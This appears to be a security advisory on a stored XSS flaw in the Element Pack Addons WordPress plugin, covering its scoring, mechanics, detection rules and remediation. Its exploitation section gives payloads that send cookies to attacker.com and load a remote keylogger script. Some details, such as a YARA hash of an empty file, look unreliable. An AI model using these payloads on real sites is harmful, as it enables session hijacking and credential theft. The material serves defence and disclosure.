CVE-2025-5292

Executive Summary

CVE-2025-5292 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Element Pack Addons for Elementor WordPress plugin, developed by Bdthemes. This plugin is a popular add-on for the Elementor page builder, providing ready templates, blocks, widgets, and WooCommerce builder functionality.

The vulnerability resides in the marker_content parameter of the plugin's marker widget. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious marker, the injected script executes in their browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

The vulnerability affects all versions up to and including 5.11.2. As of this report, no official patch has been released, and the patch status remains UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for sites with multiple user roles.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The affected component is a third-party plugin distributed via the WordPress plugin repository and potentially through other marketplaces. Users who have installed this plugin from any source are at risk. The lack of a patch means that the supply chain is currently compromised for all users of the affected versions. Administrators should consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs Contributor-level access or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.4, the potential for account takeover and lateral movement within a WordPress site elevates the practical risk. The requirement for Contributor-level access reduces the attack surface but does not eliminate it, especially on multi-author blogs or sites with user registration enabled.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (Cross-Site Scripting) flaw. The Element Pack Addons plugin includes a "Marker" widget that allows users to highlight text with a marker-like effect. The widget accepts a marker_content parameter, which is intended to hold the text to be highlighted.

The root cause is twofold:

1. Insufficient Input Sanitization: The plugin does not properly sanitize the marker_content parameter when it is saved to the database. This allows an attacker to include HTML tags and JavaScript code.
2. Insufficient Output Escaping: When the plugin renders the marker widget on a page, it does not escape the marker_content value before outputting it into the HTML. This means that any malicious code stored in the database is executed by the browser.

Attack Flow:

1. An attacker with Contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker creates or edits a page/post using the Elementor builder.
3. The attacker adds the "Marker" widget to the page.
4. In the widget settings, the attacker injects a malicious payload into the marker_content field, e.g., <script>alert('XSS')</script>.
5. The attacker saves/publishes the page.
6. When any user (including administrators) visits the page, the injected script executes in their browser.

Impact:

• Session hijacking (stealing admin cookies)
• Credential theft via fake login forms
• Defacement of the site
• Redirection to phishing or malware sites
• Privilege escalation if an admin's session is hijacked

Vulnerable vs. Patched Code

Since no official patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resides in the marker widget's render method.

Vulnerable Code (Conceptual):

// In the marker widget class
public function render() {
    $settings = $this->get_settings_for_display();
    $marker_content = $settings['marker_content'];
    // Direct output without escaping
    echo '<span class="marker">' . $marker_content . '</span>';
}

Patched Code (Conceptual):

// In the marker widget class
public function render() {
    $settings = $this->get_settings_for_display();
    $marker_content = $settings['marker_content'];
    // Properly escape output
    echo '<span class="marker">' . esc_html( $marker_content ) . '</span>';
}

The fix involves using WordPress's built-in esc_html() function (or similar) to escape the output, ensuring that any HTML/JavaScript is rendered as plain text.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Element Pack Addons plugin (version <= 5.11.2) installed and activated.
• An account with Contributor-level access or higher.

Step-by-Step Exploitation:

1. Login to the WordPress admin panel as a Contributor or higher.
2. Create a new page or edit an existing one using Elementor.
3. Add the Marker widget to the page.
4. Inject the payload into the marker_content field. Example payloads:
   • Basic alert: <script>alert('XSS')</script>
   • Cookie theft: <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   • Keylogger: <script src="http://attacker.com/keylogger.js"></script>
5. Save and publish the page.
6. Wait for a victim (e.g., an admin) to visit the page. The script executes automatically.

Proof-of-Concept (PoC) Code:

<!-- This is the payload to be inserted into marker_content -->
<script>
    // Steal cookies
    var img = new Image();
    img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual content in the marker_content field of the wp_postmeta table.
• Look for pages created by low-privilege users that contain script tags.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Prevention:

• Immediate: Disable the Element Pack Addons plugin until a patch is released.
• Alternative: Use a security plugin like Wordfence to add virtual patching.
• Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the plugin directory: /wp-content/plugins/element-pack-addons/
  • Modified files in the plugin directory (check file integrity)

• Database Indicators:

  • Entries in wp_postmeta where meta_key contains marker_content and meta_value contains <script> tags or other suspicious HTML/JavaScript.
  • Pages/posts created by low-privilege users containing unusual HTML in the content.

• Network Indicators:

  • Outbound connections to attacker-controlled domains (e.g., for cookie theft).
  • HTTP requests containing XSS payloads in the marker_content parameter.

• Log Indicators:

  • WordPress debug logs showing PHP warnings related to the marker widget.
  • Web server access logs showing requests to pages with the marker widget.

Detection Engineering

YARA Rule

rule CVE_2025_5292_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Element Pack Addons marker_content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5292"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $marker_content = /marker_content[^>]*>[^<]*<script/i
        $xss_payload = /<script[^>]*>.*?<\/script>/is
    condition:
        $marker_content and $xss_payload
}

Sigma Rule

title: CVE-2025-5292 Stored XSS in Element Pack Addons
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via marker_content parameter in Element Pack Addons
author: Valters IT
date: 2025/04/10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-5292
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'marker_content'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in marker content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5292 Stored XSS in Element Pack Addons"; flow:to_server,established; content:"marker_content"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Element Pack Addons plugin from all WordPress installations.
2. Scan for compromise – Use a security scanner to check for existing XSS payloads in the database.
3. Review user accounts – Audit all Contributor-level and higher accounts for suspicious activity.

Long-term Actions:

1. Apply patch when available – Monitor the plugin's official page for a security update.
2. Implement WAF rules – Use a Web Application Firewall to block XSS attempts.
3. Educate users – Train content creators on safe input practices.
4. Regular updates – Keep all plugins and themes updated.

Workaround (if plugin cannot be disabled):

• Use a security plugin like Wordfence to add a virtual patch.
• Manually edit the plugin file to add output escaping (not recommended for non-developers).

Valters IT
Securing Digital Frontiers